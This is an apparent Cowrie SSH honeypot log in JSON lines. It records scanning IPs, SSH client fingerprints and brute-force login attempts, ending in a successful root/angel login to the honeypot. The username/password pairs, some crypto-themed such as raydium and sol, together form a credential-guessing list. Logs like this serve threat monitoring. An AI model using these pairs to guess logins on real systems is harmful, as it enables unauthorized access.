{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:36.312554Z","src_ip":"195.178.110.218","session":"44f3794cea6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:45:37.426848Z","src_ip":"195.178.110.218","session":"44f3794cea6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41324,"dst_ip":"159.203.135.109","dst_port":22,"session":"bca7c5f7ef1d","protocol":"ssh","message":"New connection: 195.178.110.218:41324 (159.203.135.109:22) [session: bca7c5f7ef1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:46:45.951154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:46:45.955054Z","src_ip":"195.178.110.218","session":"bca7c5f7ef1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:46:46.034713Z","src_ip":"195.178.110.218","session":"bca7c5f7ef1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:46:46.273642Z","src_ip":"195.178.110.218","session":"bca7c5f7ef1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:46:47.355610Z","src_ip":"195.178.110.218","session":"bca7c5f7ef1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34660,"dst_ip":"159.203.135.109","dst_port":22,"session":"524fc97e255e","protocol":"ssh","message":"New connection: 2.57.122.208:34660 (159.203.135.109:22) [session: 524fc97e255e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:12.726321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:12.811226Z","src_ip":"2.57.122.208","session":"524fc97e255e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:12.910263Z","src_ip":"2.57.122.208","session":"524fc97e255e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:13.548511Z","src_ip":"2.57.122.208","session":"524fc97e255e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:14.669436Z","src_ip":"2.57.122.208","session":"524fc97e255e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":40083,"dst_ip":"159.203.135.109","dst_port":22,"session":"180230915da0","protocol":"ssh","message":"New connection: 193.46.255.86:40083 (159.203.135.109:22) [session: 180230915da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:17.192050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:17.196716Z","src_ip":"193.46.255.86","session":"180230915da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:17.332056Z","src_ip":"193.46.255.86","session":"180230915da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:17.947638Z","src_ip":"193.46.255.86","session":"180230915da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:47:19.085526Z","src_ip":"193.46.255.86","session":"180230915da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49246,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f92933f3de2","protocol":"ssh","message":"New connection: 195.178.110.218:49246 (10.17.0.5:22) [session: 3f92933f3de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:48:19.260712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:48:19.265467Z","src_ip":"195.178.110.218","session":"3f92933f3de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:48:19.346532Z","src_ip":"195.178.110.218","session":"3f92933f3de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:48:19.589748Z","src_ip":"195.178.110.218","session":"3f92933f3de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:48:20.672894Z","src_ip":"195.178.110.218","session":"3f92933f3de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48306,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b8ffa28446a","protocol":"ssh","message":"New connection: 2.57.121.25:48306 (159.203.135.109:22) [session: 5b8ffa28446a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:17.871408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:17.876123Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:17.980077Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mrbill","message":"login attempt [user/mrbill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:18.466463Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"motors","message":"login attempt [user/motors] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:19.572551Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"motherfu","message":"login attempt [user/motherfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:20.679488Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"monsoon","message":"login attempt [user/monsoon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:21.786152Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"monkey2","message":"login attempt [user/monkey2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:22.893996Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:24.001865Z","src_ip":"2.57.121.25","session":"5b8ffa28446a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43310,"dst_ip":"159.203.135.109","dst_port":22,"session":"3daf58c9aec2","protocol":"ssh","message":"New connection: 195.178.110.218:43310 (159.203.135.109:22) [session: 3daf58c9aec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:24.825659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:24.830433Z","src_ip":"195.178.110.218","session":"3daf58c9aec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:24.910478Z","src_ip":"195.178.110.218","session":"3daf58c9aec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:25.149615Z","src_ip":"195.178.110.218","session":"3daf58c9aec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:26.231624Z","src_ip":"195.178.110.218","session":"3daf58c9aec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59312,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f596c31428","protocol":"ssh","message":"New connection: 2.57.122.208:59312 (159.203.135.109:22) [session: 29f596c31428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:32.218569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:32.309957Z","src_ip":"2.57.122.208","session":"29f596c31428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:32.355796Z","src_ip":"2.57.122.208","session":"29f596c31428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:32.826473Z","src_ip":"2.57.122.208","session":"29f596c31428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:33.934112Z","src_ip":"2.57.122.208","session":"29f596c31428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":55590,"dst_ip":"159.203.135.109","dst_port":22,"session":"328a042fae16","protocol":"ssh","message":"New connection: 85.198.97.85:55590 (159.203.135.109:22) [session: 328a042fae16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:54.634815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:54.639396Z","src_ip":"85.198.97.85","session":"328a042fae16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:54.768046Z","src_ip":"85.198.97.85","session":"328a042fae16","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"angel","message":"login attempt [root/angel] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:55.153861Z","src_ip":"85.198.97.85","session":"328a042fae16","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:55.446142Z","src_ip":"85.198.97.85","session":"328a042fae16","protocol":"ssh"}
